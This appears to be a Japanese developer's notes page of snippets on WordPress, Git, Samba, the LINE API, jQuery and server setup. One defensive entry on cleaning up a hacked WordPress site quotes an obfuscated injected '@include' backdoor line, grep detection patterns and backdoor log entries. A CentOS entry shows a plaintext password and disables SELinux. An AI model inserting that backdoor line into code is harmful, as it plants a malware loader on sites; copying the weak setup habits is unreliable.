• WP_Query から投稿記事やらアイキャッチやらタグを取得

    $the_query = new WP_Query […]

    
    $the_query = new WP_Query($args);
      foreach($the_query->posts as $key=>$value){
        var_dump($value->ID, $value->post_date, $value->post_content);
    
       $thumb_id = get_post_thumbnail_id($postID);      // 指定した投稿のアイキャッチ画像の画像IDを取得
    	$thumb_img = wp_get_attachment_image_src($thumb_id );
    	$src = $thumb_img[0]; 
    
    
    	$postID = get_the_ID();
    			$fivesdrafts = $wpdb->get_results( 
    				"SELECT name , slug
    				FROM $wpdb->term_relationships
    				LEFT JOIN $wpdb->term_taxonomy  USING (term_taxonomy_id)
    				LEFT JOIN $wpdb->terms USING(term_id)
    				WHERE object_id = $postID
    				AND taxonomy = 'post_tag'"
    			);
    			 foreach ($fivesdrafts as $key => $val) {
    				 $tag .= $val->slug . $val->name ; // スラッグ。タグ
    			 }
    
  • Gitをインストール してpush

    Gitをインストールする centos7の場合ここ […]

    Gitをインストールする

    centos7の場合ここ

  • コミットしたいディレクトリに移動してinitする

     		  
       Initialized empty Git repository in /path/to/already/.git/  
    
  • 新規ディレクトリなら,まずはセットアップ

  • 除外ディレクトリ → gitへpushuしない
    .gitignore の書き方。ファイル/ディレクトリの除外

  • github上で新規レポジトリを作成( リポジトリの名前は ディレクトリの名前にする)

    リモートリポジトリの追加

  • ローカルにリモートリポジトリの情報を追加
  • ステージする
  • コミットする
  • リポジトリが有るならこれでPush

    -f で強制

  • Git 新規ディレクトリにリモートから pullしたい

  • 新規ディレクトリなら,まずはセットアップ


    親ディレクトリまで移動

    ダウンロードしたい リポジトリ指定

    git pullリモートレポジトリとローカルレポジトリを同じ状態にする

  • 鍵認証(pushでパスワードを聞かれないよう)にする

    • ローカルの開発サーバーで鍵をつくる(名前は指定したほうがいい)
    • config ファイルの作成

                Host github github.com
                HostName github.com
                IdentityFile ~/.ssh/github_rsa
                User git 
              
    • 600にする

    • .gitconfig をつくって 600にする

        vi ~/.gitconfig 
         [user]
              name = アカウント
              email = メアド
      
         [url "github:"]
            InsteadOf = https://github.com/
            InsteadOf = git@github.com:
           
    • githubに移動し、マイページのpersonal settingsのSSH and GPG keysに入ります。
      New SSH keyをクリックし、さきほどコピーした公開鍵をペーストします。

    追跡済みのファイルを除外する方法

     # ファイルは消さずに、追跡だけ除外
     $ git rm --cached FILE_NAME
    

    Gitの一部のディレクトリだけ取得する方法

    次に marge request (githubで)

    他の人の開発分を取り込む
    git pull origin master

    直前コミットの取り消し。
    git reset HEAD

    CentOS7でプロンプトにブランチ名を表示したい
  • ヤフオク自動取り消しシステム

    はじめにログイン状態を確認から、機動する別ウィンド […]

    はじめにログイン状態を確認から、機動する別ウィンドウでヤフオクにログインしてください。

    このウィンドウは2分くらいで自動で閉じられます。

      商品の登録方法

    1. 普段使っているブラウザを起動します(何でもOKです)
    2. 自身のアカウントから出品中の一覧を表示します
    3. 自動取り消しをしたい商品を右クリックしてリンクアドレスをコピーします

      4. URLのフィールドに貼り付けて 目標価格を入力します (その他の項目は自動で入ります)

      5.[登録する] ボタンを押します

      6. 何件も登録できますが,商品の終了時間はなるべく1分以上開けてください

      7.取り消し時間は,残り20秒が最小値です.

      登録された商品情報は5分間隔で更新されます.

      残り時間が1分を切った商品は9秒ごとに新しい価格に更新されます

    セットアップ

    フリーアプリのXAMPPをインストールしてください。
    バージョンは最新のものを選んでください。

    「はい」を選んでください

    「OK」を選んでください

    画像の通りに、必要ないアプリケーションのチェックを外してください。

    このまま「Next」をクリック

    チェックは外してから「Finish」をクリック

    フリーアプリのnode.jsをインストールしてください。
    バージョンは最新のものを選んでください。
    すべて次へをクリックして完了してください。

    C:¥xamppフォルダからhtdocsフォルダを削除してください。

    ダウンロードしたhtdocs.zipをWクリックして中身をすべてC:¥xamppフォルダへコピーしてください

    xam-permition.batを右クリックして管理者として実行してください。
    次にxamp-controll.exeをWクリックしてください。
    このアイコンをスタートメニューにピン留めをおすすめします。

    一番右上のConfigをクリック

    Apacheにチェックを入れてください。
    次回からStartを押さなくても起動するようになります。

    今回は一番上Apachのstartをクリック

    外部のPCからのアクセスを許可するか聞いてきますが、キャンセルしていいです。

    Startしたら Adminボタンを押してください。
    Chromeブラウザでアプリケーションが起動します。

  • mb_convert_kana 濁点の結合 かな、カタカナ混在

     $str = ‘ぐボピ.png’; $s […]

    
    
    
    $str = 'ぐボピ.png';
    $strs = mb_str_split($str);
    $strs = array_reverse($strs);
    $nextkey = -1;
    
    foreach ($strs as $key => $str) { //かな true
      if(preg_match("/^[ぁ-ん]+$/u",$str)){
        $kana = true;
      }else{
        $kana = false;
      } 
    
      if(preg_match("/゙|゚/",$str)){ //濁点なら保存
        $dakten = $str;
        $nextkey = ++$key;
        continue;
      }
      
      if($key == $nextkey){ //濁点なら次の文字の後ろに連結
        $str .= $dakten; 
      }
      
      $str = dakten_replace($str); //置換 濁点も一文字になってる
      
          
      if( $kana ) {  // 元が "かな" ならかなに戻す
        $str = mb_convert_kana($str, 'c', 'UTF-8');
      }
    
         $newstrs[] = $str ; 
    }
    
    $strs = array_reverse($newstrs);
    $str = implode('',$strs);
      var_dump($str);
    
      function dakten_replace ($str){
        $str = str_replace('゙','゛' ,$str); //全角濁点を半角に
        $str = str_replace('゚','゚' ,$str);
        $str = mb_convert_kana($str, 'hkV', 'UTF-8');
        $str = mb_convert_kana($str, 'HV', 'UTF-8');
        $str = mb_convert_kana($str, 'C', 'UTF-8');
        return $str;
      }
    
    
    

    string(13) “ぐボピ.png”
    $str = ‘ぐボピ.png’;
    比較しても見た目ではわからない。

    濁点はひらがなでもカタカナでもないが、かなとカタカナは等しい

  • samba.conf 設定ファイルをincludeしてユーザーを追加する

    $ cd ~ 新規ファイルの作成 $ vi aki […]

    
    
    $ cd ~
    
    新規ファイルの作成
    $ vi akita_hanako_smb.conf
    
    i で編集モードにして 以下をペースト
    
    	#この下の行から
    	[share]
    	  comment = Share Folder for All Users
    	  path = /home/akita_hanako/
    	  browseable = no
    	  read only = no
    	#この上の行まで
    
    ESCキー → :wq 
    
    
    共通ファイルの編集
    $ sudo vi /etc/samba/smb.conf
    	
    # この一行を最終行へ貼り付ける	
    	include = /home/akita_hanako/akita_hanako_smb.conf
    
    ESCキー → :wq 
    
    これでsambaユーザーを作る
    $ sudo pdbedit -a akita_hanako
    パスワードを打つ x2
    
    
    sanbaの再起動実行
    $ sudo systemctl restart smb.service
    
    
    
  • LINE Messaging APIで phpから Pushメッセージを送信する

    1. LINE for Bussinessを用意す […]

    1. LINE for Bussinessを用意する

    LINE Messaging APIを使用するには Line Developers に登録する必要があります。
    LINE Bussiness ID を作る

    次に LINE Bussiness アカウントとLINEアカウントを連携します。
    連携するURL

    2. LINE Messaging APIを設定する

    channelをつくる

    Webhookを設定

    Webhook settings の 「Edit」 をクリックし、公開しているWebhookURLを設定します。

    Channel access tokenを有効化

    Messaging APIの下部にある「Channel access token」の「Channel access token (long-lived) 」から「Issue」をクリック。

    つくったchannelをお友達登録する

    Messaging API 管理画面から作ったチャンネルのQRコードを表示してお友達登録する

    
    
        // LINE Messaging API プッシュメッセージを送る
        $LINE_PUSH_URL = "https://api.line.me/v2/bot/message/push";
    
    
        $LINE_CHANNEL_ACCESS_TOKEN = 'ZXCVFDSA*******************'; 
    
        // Your user ID
        // Messaging API 管理画面で確認 これくらいながいやつ
        $LINE_USER_ID = "U3**********************";
    
        // 送信するメッセージ
        $message_1 = "こんにちは API";
        $message_2 = "PHPからPUSH送信\r\n改行して2行目";
    
        // リクエストヘッダ
        $header = [
            'Authorization: Bearer ' . $LINE_CHANNEL_ACCESS_TOKEN,
            'Content-Type: application/json'
        ];
    
        // 送信するメッセージの下準備
        $post_values = array(
            [
            "type" => "text",
            "text" => $message_1
            ],
            [
            "type" => "text",
            "text" => $message_2
            ]
        );
    
        // 送信するデータ
        $post_data = [
            "to" => $LINE_USER_ID,
            "messages" => $post_values
            ];
    
        // デバグ確認用のログ:送信データ
        $file = '/tmp/post_data.txt';
        file_put_contents($file, json_encode($post_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE), FILE_APPEND);
        file_put_contents($file, PHP_EOL.PHP_EOL, FILE_APPEND);
    
        // cURLを使った送信処理の時は true
        // file_get_contentsを使った送信処理の時は false
        $USE_CURL = true;
    
        if ($USE_CURL) {
            // cURLを使った送信処理
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $LINE_PUSH_URL);
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'POST');
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
            curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($post_data));
            $result = curl_exec($curl);
            curl_close($curl);
        }
        else
        {
            // file_get_contentsを使った送信処理
            $context = stream_context_create(array(
                'http' => array(
                    'method' => 'POST',
                    'header' => implode("\r\n", $header),
                    'content'=>  json_encode($post_data),
                    'ignore_errors' => true
                )
            ));
    
            $result = file_get_contents(
                $LINE_PUSH_URL,
                false,
                $context
                );
        }
    
        // デバグ確認用のログ:受信レスポンス
        $file = '/tmp/result.txt';
        file_put_contents($file, $result, FILE_APPEND);
        file_put_contents($file, PHP_EOL.PHP_EOL, FILE_APPEND);
    
    
  • vi エディタ で一括置換 スラッシュを含む場合

    :%s;192.168.17.106/wordpr […]

    
    :%s;192.168.17.106/wordpress;abc.domain.jp;g
    

    192.168.17.106/wordpress → abc.domain.jp に変わる

  • jquery 要素を取得 いろいろ

    オブジェクト要素数のカウント [code] let […]

    オブジェクト要素数のカウント

    [code]
      let a = {de:234}
      console.log( Object.keys(a).length)
    
    // a.length はundefined になる
    [/code]
    

    変数が未定義かどうかの判定

    [code]
                                                     // あり   なし
        console.log(typeof session !== "undefined" );// true  false
        console.log(typeof session === "undefined" );// false true
     
    [/code]

    指定した要素本体の取得

    [code]
       $('#youso').prop('outerHTML');
     [/code]

    自分の親要素の順位

     
     var this_index = jQuery('.oya p').index(jQuery(this).parent());
     oyaクラスの中のpが何番目かが取得できる this は同じ親を持つボタンとか
     

    チェックされているラジオボタン、checkBoxの値を取得

     
    jQuery('input[name="shipper"]:checked').val();
     

    ラジオボタンの見た目をONにする、属性を選択状態にする←これらは別物

     
     jQuery('[type="radio"]').eq(0).prop('checked',true).attr('checked',true);
     

    選択されたラジオボタンがあればtrue

     
     var ret = $('[name="fls"]').is(':checked'); 
     

    セレクトメニューに値をセット

     
    jQuery(this).prop("selectedIndex", 0); //最初のoption指定
     

    セレクトメニューで選択されたoption要素のdata属性を取得

     
    jQuery('select').children('option:selected').data('id');
    

    datalistで選択されたoption要素のdata属性を取得

     
      $('[name="company"]').change(function(){
          var issuer_id = $("#datalistOptions22 option[value='" + $('#company').val() + "']").data('issuer_id');
          console.log(issuer_id);
        });
    
  • プラグインをデータベースから無効化

    これで探す select * from wp_op […]

    これで探す

    
    select * from wp_options where option_name = 'active_plugins'
     
     
    // シリアライズされた文字列↓
    $a='a:48:{i:0;s:25:"add-to-any/・・・・・・";}';
    
    $b= unserialize($a);
    
    array_splice($b,25,1);  //インデックスだと24を無効化
    array_splice($b,13,1);  //〃 12
    print_r($b);
    $b = serialize($b);
    var_dump($b); // 再度シリアライズして コピー
     
     
    update wp_options
                -- ここに貼る ↓
    set  option_value = 'i:0;s:23:"add-to-any/・・・・・・";}'
    where option_name = 'active_plugins'
     
  • WordPressのメディアライブラリで画像が表示されない gridのみ

    functions.phpもしくはプラグインファイ […]

    functions.phpもしくはプラグインファイルの先頭行に<?php 以外の何かがある場合

     
    ●<?php
    ↑これを消せばなおる
     
  • JavaScriptでPHPのnumber_format

    組み込みでもともとあるので自作しなくてもよい nu […]

    組み込みでもともとあるので自作しなくてもよい
    number_format javascript

     
    var price = Number("120000000");
    
    console.log( price.toLocaleString());
     

    → 120,000,000

  • ブラウザ sslキャッシュHSTSの削除方法

    httpで接続したいがhttpsに飛ばされる場合の […]

    httpで接続したいがhttpsに飛ばされる場合の対処
    Chromeの場合このフォルダ内を削除

     
    %USERPROFILE%/AppData/Local/Google/Chrome/User Data/CertificateTransparency
     
  • ディレクトリ内のファイル名を一括で変更 シェルスクリプト

    #!/bin/bash files=”/var/w […]

     
    #!/bin/bash
    
    files="/var/www/resources/*"
    fileary=()
    dirary=()
    for filepath in $files;  do
        if [ -f $filepath ] ; then
          fileary+=("$filepath")
          echo ${filepath}
          mv ${filepath} ${filepath}".png"
    
        elif [ -d $filepath ] ; then
          dirary+=("$filepath")
        fi
    done 
  • 固定ページ 特定のスラッグを親に持つ記事の表示 wordpress

    /* 固定ページ 特定のスラッグを親に持つ記事の表 […]

    
    
    /*
    	固定ページ 特定のスラッグを親に持つ記事の表示
    */
    	if ( $post->ancestors ) {
    		foreach ( $post->ancestors as $post_anc_id ) {
    			$post_id = $post_anc_id;
    		} // foreach($post->ancestors as $post_anc_id){
    	} else {
    		$post_id = $post->ID;
    	} // if($post->ancestors){
    
    	if ( $post_id ) {
    		$children = wp_list_pages( 'title_li=&child_of=' . $post_id . '&echo=0' );
    		if ( $children ) { ?>
    			<aside class="widget widget_child_page widget_link_list">
    			<nav class="localNav">
    			<h1 class="subSection-title"><a href="<?php echo esc_url( get_permalink( $post_id ) ); ?>"><?php echo get_the_title( $post_id ); ?></a></h1>
    			<ul>
    			<?php  echo $children; ?>
    			</ul>
    			</nav>
    			</aside>
    		<?php } // if ($children)
    	} // if ($post_id)
    ?>
    
     
  • Apache php mac 設定

    Macでターミナル起動 which httpd / […]

     
    Macでターミナル起動
    
    which httpd
    	/usr/sbin/httpd ←ここに入ってる
    
    sudo apachectl start	←Apache起動	
    
    ブラウザ
    	http://localhost/
    
    Apache設定変更
    	sudo vi /etc/apache2/httpd.conf
    	
      コメントを外す
    	 LoadModule rewrite_module libexec/apache2/mod_rewrite.so 
    	 LoadModule php7_module libexec/apache2/libphp7.so
    
      ユーザーを自分にする
    	 User ginzo
    	 Group _www
    
       DocumentRoot を確認
    
       <Directory "/Library/WebServer/Documents"> 内に追記
        AllowOverride All  
        Options Indexes
        Order allow,deny
        Allow from all
        Require all granted
    
    
    Apache再起動
      sudo apachectl restart
    
    ドキュメントルートの所有者を変更
      cd /Library/WebServer
      ls -l
      	drwxr-xr-x  6 root  wheel  192 10 10 12:55 Documents	
      rootなので自分にする
        sudo chown ginzo:_www  Documents
    
    Documentsにinfo.php作成 
      [中身]
      <?php 
        phpinfo();
    
     ファインダーで Shift+Command+G
       Library/WebServer/Documents と入れて開く
        保存したファイルが有るか確認
    
     ブラウザで開く
        http://localhost/info.php
    
    MySQL設定
    
     mysqli.default_socket の場所を確認
       mysql_config --socket 
       /tmp/mysql.sock 
    
    info.php で表示されてる場所と違うので php.iniを編集する
       sudo cp /etc/php.ini.default /etc/php.ini
       sudo vi /etc/php.ini
       mysqli.default_socket =  この行を探して こうする↓
       mysqli.default_socket = "/tmp/mysql.sock"
    
    保存して、Apache再起動
    
     
  • WordPress 不正侵入後の対処 改ざん対策

    サーバー不正侵入 不正ファイル検索 \@inclu […]

    サーバー不正侵入 不正ファイル検索

    \@include “\057va\162/w\167w/\166ho\163ts\057gr\163.c\141t/\150tt\160do\143s/\060OL\104_S\111TE\057Bl\141de\137fl\141sk\137ar\143hi\166os\057.1\0662e\070ba\065.i\143o”;
    

    あちこちのindex.phpにこんな文字列が行挿入されている

    不審な文字列はここでデコードする
    https://malwaredecoder.com/

     
    var/www/html/wp-includes/PHPMailer/.136cf3b7.ico
    

    を読み込むらしい。

    プラグイン https://ja.wordpress.org/plugins/wp-simple-firewall/
    を入れる → shield Securityによる認識されていないfileのスキャン
    → 見つかったファイルは削除

    ターミナルから文字列検索して見つかったファイルはviで開いて行削除
    怪しいファイルと同じ日付に更新されたファイルも削除か行削除

     
     grep -r ';}exit();}} ?><?php' ./*
     find ./ -name '*.php'  -type f -print | xargs grep '057va'
     find ./ '*.php' -type f -print | xargs grep '@file_put_contents'
     find ./ -name '*.php'  -type f -print | xargs grep 'eval('
     find ./ -name '*.php'  -type f -print | xargs grep 'Array();global'
     find . -type f -name '*.php' -newermt '2020-10-01'
    

    サーバーのパスワードは全て変更する
    鍵ファイルも変更する

    不審なファイルの所有者はapacheになっているのでWEBアクセスで置かれた可能性が高い

    backDoor rootkitの検索 改ざん対策 その2

     
    書込み可能なディレクトリへのphpがあれば消す
    find /var/www/○○.com/wp-content/uploads/ -name "*.php"
     

    適当な場所に適当な名前.phpで書込み可能な囮ファイルの作成

     
    実行されても 500 server errorになるようにしておく  
    <?php
    
    <?php
     

    このファイルの書き換えを検知するシェルスクリプトを作成、cronで1m置きに実行しアラートを送る
    書き換えられた時刻をログから探す

     
    51.68.11.215 - - [22/Oct/2020:15:13:03 +0900] "GET /パス/.git/objects/kxzrvytc.php ← backDoor
    160.153.147.130 - - [22/Oct/2020:15:13:06 +0900] "GET /パス/囮ファイル.php HTTP/1.0" 500 -
     

    見つかったbackDoorは他にもあるので、文字列パターンからDocumentRoot以下を検索し削除

  • コマンドによるmysql ダンプ エクスポート

    データベースごとに指定してsqlとして、指定したフ […]

    データベースごとに指定してsqlとして、指定したファイルへ書き出す

     
     mysqldump -uroot -p --databases my_dbname > /var/www/my-dbname.sql
     Password 打つ
     

    別にrootでやらなくてもいい。
    mysqlへのログインは不要

  • php7.2 → 7.4 アップデートcentos7

    今のバージョンを削除 # yum remove p […]

    今のバージョンを削除

    # yum remove php-*
    

    Remiリポジトリを使用するための依存パッケージのインストール

    # yum -y install http://rpms.remirepo.net/enterprise/remi-release-7.rpm
    
     # vi /etc/yum.repos.d/remi-php74.repo
    
    [remi-php74]  ←この項目の
    enabled=1   ← 1にする
    

    他にremi-php72.repo とかが1なら0にする。priorityが1なら削除する

    必要パッケージとphp7.4インストール

    # yum install --enablerepo=remi,remi-php74 php php-devel php-mbstring php-pdo php-gd php-mysqlnd php-intl php-pecl php-pear
    
    # php -v
    PHP 7.4.5 (cli) (built: Apr 14 2020 12:54:33) ( NTS )
    Copyright (c) The PHP Group
    Zend Engine v3.4.0, Copyright (c) Zend Technologies
    

    Apache再起動

     # systemctl restart httpd
    
  • javascript ec6 よく使うやつ

    let val = `テンプレート文字列とは ヒア […]

    
    
     let val = `テンプレート文字列とは
      ヒアドキュメントのようなもの`;
      console.log(val);
    
    let name = '小川';
    let str  = `My name is ${name}`;
    console.log(str);
    
    //分割代入
    let [namae,age]=['ささき',35];
    console.log(namae , age);
    
    // js のforeach文
    names = ['sato','ito','goto'];
    for (let value of names){
      console.log(value);
    }
    
    // 可変長引数
    function sum(...prop){
      var t = 0;
      for(let num of prop)
        t += num ;
      return t ;  
    }
    console.log( sum( 2 ,4 ,1 ) );
    console.log( sum( 2 ,4 ) );
    
    /*
    無名関数をつくるアロー関数 
    */
    var area = (x,y) => {
      console.log( x * y );
    }
    area(12,4);
    
    // 一行の処理だけなら{}がいらない。 引数が一つなら()も省略可 
    var squareArea = val => val ** 2
     console.log(squareArea(9));
    
    
    //オブジェクトからの分割代入
      const mpl={name:'jhon',age:44}
      const{name, age, jender='women'} = mpl;
                      // jender は無いが初期値を入れられる
      console.log(name, age, jender);
    
    
    
    
    //map 関数
      const singers = ['jckei evencho','martina mcbride' ,'aricia keys'];
      // ループの処理
      singers.map( (name) => $('#singer').append(name + '<br>') );
    
    
    //filter 関数
      let country = singers.filter( (name) => {
        return name == 'martina mcbride'; 
      });
    
        $('#mm').append( country );  // → martina mcbride
    
    
    
    
  • 予約カレンダー DEMO

    管理画面 予約確認 カレンダーには顧客の名前、予約 […]

    会員登録されている場合はログインしてください

    管理画面 予約確認

    カレンダーには顧客の名前、予約時間、人数が表示されます。
    予約の確認や、変更、新規登録ができます。

    店舗基本設定

    営業時間、休日、顧客一人にかかる時間、オプションメニューなどが設定できます。

    スタッフ配置人数

    時間単位での予約を正確に受け入れるため、スタッフ人数を予め登録しておきます。
    顧客が予約の際に、受け入れ可能な時間のみ選択できるようになります。
    予め基本人数が全てのセルに入っているので、変更がある時間のみ入力してください。
    なお、操作はEXCELと同等、ドラックやコピーができます。

  • DOMパース php

    [highlight_php] $url = ‘h […]

     
    [highlight_php]
    
    $url = 'https://ultimai.org/wp';
    $html = file_get_contents($url);
    
    $doc = new DOMDocument();
    $doc->loadHTML($html);
    
    $xmlString = $doc->saveXML();
      $xmlObject = simplexml_load_string($xmlString);
    	  $html = json_decode(json_encode($xmlObject), true);
    	var_dump($html);exit;		
    
    [/highlight_php]
    
    
     
  • WP_Queryを使わないループで特定のカテゴリのみ表示してページャーもつける

    Woocommerce の商品カテゴリ /* デー […]

    Woocommerce の商品カテゴリ

    
    /* データの表示指定 */
    $type =15;  // カテゴリID 
    $item_count = 6; //1ページに表示したいアイテム数 
    $sp = empty($_GET['pg']) ? 1 : $_GET['pg'] ;
    
    $field = "SELECT object_id , p.post_title ,post_content,post_date,post_excerpt,post_name,
    p.post_type , p.post_status, m.stock_quantity , m.min_price, m.max_price ,meta_value" ;
    
    $query = "
    FROM `$wpdb->term_relationships` as t
    left join $wpdb->posts as p on p.id = t.object_id 
    left join `$wpdb->wc_product_meta_lookup` as m on m.product_id = t.object_id 
    left join `$wpdb->postmeta` as e on e.post_id = t.object_id 
    WHERE `term_taxonomy_id` = %d AND p.post_type = 'product' AND p.post_status = 'publish' 
    AND e.meta_key = '_price' " ;
    
    $sql = $field . $query ." LIMIT %d, $item_count;";
    
    $results = $wpdb->get_results( $wpdb->prepare( $sql ,$type ,($sp-1)*$item_count) );
    foreach($results as $row) var_dump($row);
    [/highlight_php]
    
    
    

    このページのページャー

    [highlight_php] <?php /* 以下、ページャーの表示 */ $field = "SELECT count(*) "; $sql = $field . $query ; $product_count = $wpdb->get_var( $wpdb->prepare( $sql , $type) ); $product_page = ceil( $product_count/$item_count); //ページ数 ?> <nav class="undernav pagination"> <?php if( $sp > 1){ echo ''; } ?> Page of <?php for( $i=1 ; $i <= $product_page; $i++){ if( $i == $sp ){ echo '', $i,''; }else{ echo '',$i,''; } } if( $sp < $product_page){ echo ''; } ?>
  • 外部のコラボレータをGithubリポジトリに追加する

    https://help.github.com/j […]

    https://help.github.com/ja/github/setting-up-and-managing-organizations-and-teams/adding-outside-collaborators-to-repositories-in-your-organization

    外部のコラボレータを Organization のリポジトリに追加する

    外部のコラボレータは、Organization の明示的なメンバーではありませんが、Organization の 1 つ以上のリポジトリに読み取り、書き込み、あるいは管理権限を持っている人です。

    Organization のオーナー権限もしくはリポジトリの管理者権限を持つメンバーだけが、
    add outside collaborators to a repository, unless an organization owner has restricted the ability to invite collaborators. For more information, see “Setting permissions for adding outside collaborators.”

    外部コラボレータをプライベートリポジトリに追加すると、Organizationの有料シートが使われます。 詳しい情報については、「ユーザごとの価格付けについて」を参照してください。

    Organization がメンバーおよび外部コラボレーターに 2 要素認証を使うことを求めるなら、メンバーおよび外部コラボレーターはあなたからの Organization のリポジトリでのコラボレーションの招待を受諾する前に、2 要素認証を有効化しなければなりません。

    リポジトリに外部コラボレータを追加する際には、アクセスしてもらうリポジトリ内のフォークにもそのコラボレータを追加しなければなりません。

    1. GitHubで、リポジトリのメインページにアクセスしてください。

    2. リポジトリ名の下で Settings(設定)をクリックしてください。

    3. In the left sidebar, click Manage access.

    4. To the right of “Manage access”, click Invite teams or people.

    5. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.

    6. Under “Choose a role”, select the permissions to grant to the person, then click Add NAME to REPOSITORY.

    参考リンク

  • 保護中: centOS 7にMySQL Apacheをインストール

    この投稿はパスワードで保護されているため抜粋文はありません。

    このコンテンツはパスワードで保護されています。閲覧するには以下にパスワードを入力してください。

  • 2. centos7 インターネットへの接続確認

    ipアドレスの確認 こんな感じに出る。 1: lo […]


    ipアドレスの確認


    こんな感じに出る。

        1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
                link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
                inet 127.0.0.1/8 scope host lo
                    valid_lft forever preferred_lft forever
                inet6 ::1/128 scope host 
                    valid_lft forever preferred_lft forever
            2: ens1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
                link/ether 00:1c:c4:cc:a7:16 brd ff:ff:ff:ff:ff:ff
                inet 192.168.0.4/24 brd 192.168.0.255 scope global dynamic ens1   ←これがv4のIP
                    valid_lft 2763sec preferred_lft 2763sec
                inet 192.168.0.5/24 brd 192.168.0.255 scope global secondary ens1 ← これも
                    valid_lft forever preferred_lft forever                     
                inet6 240f:51:16c8:1:21c:c4ff:fecc:a716/64 scope global noprefixroute dynamic 
                    valid_lft 297sec preferred_lft 297sec
                inet6 fe80::21c:c4ff:fecc:a716/64 scope link 
                    valid_lft forever preferred_lft forever
            
            

    OSバーションチェック

    rootユーザーへの切り替え

    rootのパスワードを入れる
    パスワードが認証されるとプロンプトが”$”から”#”に変わります。

    一般ユーザーへの切り替えは”exit”コマンドを入力します

    まず、selinuxを無効化します。selinuxはLinuxの監査やセキュリティを向上させる機能ですが、有効になっているとサービスの動作や、設定内容にかなりの制限が出てきます。そのため、基本的には無効にする場合が多いのが実

    2-1. selinuxの状態を確認

    selinuxが有効になっているかの確認はgetenforceコマンドで行います。(基本的にデフォルトで有効になっています。)以下のようにgetenforceコマンドを実行して「Enforcing」と表示された場合にはselinuxが有効になっています。

     
     $ getenforce
    Enforcing

    2-2. selinuxを無効に設定

    selinuxを無効にするには/etc/selinux/configファイルを修正します。
    修正はviなどのテキストエディターで行います。本記事ではファイルを修正する場合、基本的にviコマンドの利用を前提として記載しております。
    設定ファイルをviコマンドで開きます。

    configファイルの修正点は

     
         SELINUX=enforcing
                                    

    になります。このパラメーターを

     
         SELINUX=disabled
                 

    CentOSが起動しなくなった場合はインストールメディアを使ってリカバリモードで起動後、configファイルを修正することで起動できるようになります。

    ファイルの修正後、サーバーを再起動して、ログインできる状態になったら、再度、getenforceコマンドでselinuxの設定状況を確認します。以下のように実行結果としてDisabledと表示されれば、selinuxは正常に無効化されています。

       $ getenforce
    Disabled

    これでselinuxの無効化は完了です。

    一般ユーザー の作成

    (ユーザー名 任意)

    パスワードうんぬん 
    	wert3333
    	x2回

    (ユーザーの確認)

    今作ったユーザーに管理者コマンドを使える権限を与える

    # visudo  エディタが開く
     %wheel  ALL=(ALL)  ALL の % を消す
     :wq 上書き終了
    

    作ったユーザーを登録
    ginzoのグループを確認
    → ginzo : ginzo wheel と出てればOK

    ポートの開放状況を確認

    :22 だけ開放されている

    Linux firewalldでポート開放する方法(RHEL/CentOS7系)

    開放するポートを追加

    先頭の#はroot権限を表すプロンプトなので貼り付けないこと!

    http 80番を開放

    ftp 21番を開放

    一応 sslの 443番を開放

    設定の有効化

    設定状態の確認


    公開しているサーバーならここで rootログインの無効化、とパスワード認証の無効→鍵認証有効化を行うがローカル環境なので省略する

    デフォルトゲートウェイの設定方法

    ip固定にして DNS を変更する場合こやる

    ens1はnicのハードウェアにつけられた管理上の名前

    	
            TYPE="Ethernet"
            BOOTPROTO="dhcp"
            DEFROUTE="yes"
            IPV4_FAILURE_FATAL="no"
            IPV6INIT="yes"
            IPV6_AUTOCONF="yes"
            IPV6_DEFROUTE="yes"
            IPV6_FAILURE_FATAL="no"
            NAME="ens1"
            UUID="53056463-a9a4-438d-9b2c-20b5f3bfbd49"
            DEVICE="ens1"
            ONBOOT="yes"
            IPADDR=192.168.0.5
            PREFIX=24
            DNS1=8.8.8.8
            DNS2=8.8.4.4
            PEERDNS=yes
            PEERROUTES=yes
            IPV6_PEERDNS=yes
            IPV6_PEERROUTES=yes
            
        

    インターネットへの接続確認

    curlコマンドはweb上のURLを読み込んで文字列をコンソールに表示する

    htmlのコードが見えればOK

  • Please upgrade your ACME client to a version that supports ACMEv2 / RFC 8555

    Let’s encriptの導入でce […]

    Let’s encriptの導入でcertbotの実行時エラーを返すようになったのでその解決法

     
    # certbot certonly --webroot --webroot-path /var/www/html/ -d domain -m email@yahoo.co.jp
    
    An unexpected error occurred:
    The client lacks sufficient authorization :: Account creation on ACMEv1 is disabled. Please upgrade your ACME client to a version that supports ACMEv2 / RFC 8555
     

    certbotをここから入れ直す。単に上書きで入れていい。
    https://certbot.eff.org/lets-encrypt/ubuntubionic-apache

    Choose how you’d like to run Certbot
    Either get and install your certificates…
    Run this command to get a certificate and have Certbot edit your Apache configuration automatically to serve it, turning on HTTPS access in a single step.

     
    $sudo certbot --apache
    
    Enter email address (used for urgent renewal and security notices)
    メールアドレスを入力してください(緊急の更新およびセキュリティ通知に使用)  入れてEnter
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    (A)gree/(C)ancel: a   ← 承諾する
    
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    (Y)es/(N)o: n	← その他メールはいらない
    
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    1: No redirect - Make no further changes to the webserver configuration.
    2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for
    new sites, or if you're confident your site works on HTTPS. You can undo this
    change by editing your web server's configuration.
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2  ← 2 httpsを強制する
    
    で終了
    
    つづいてApacheのSSL設定
    
    # vi /etc/apache2/sites-available/default-ssl.conf
    以下はこちらの記事の通り
     
  • WordPress サブディレクトリにインストール ドキュメントルートでアクセス

    http://domain.com/wp/へインス […]

    http://domain.com/wp/へインストールし、http://domain.com/ でトップページが開けるようにするというもの
    [index.php]
    domain.com/ に置く
    書き換え

     
    require( dirname( __FILE__ ) . '/wp/wp-blog-header.php' );
     

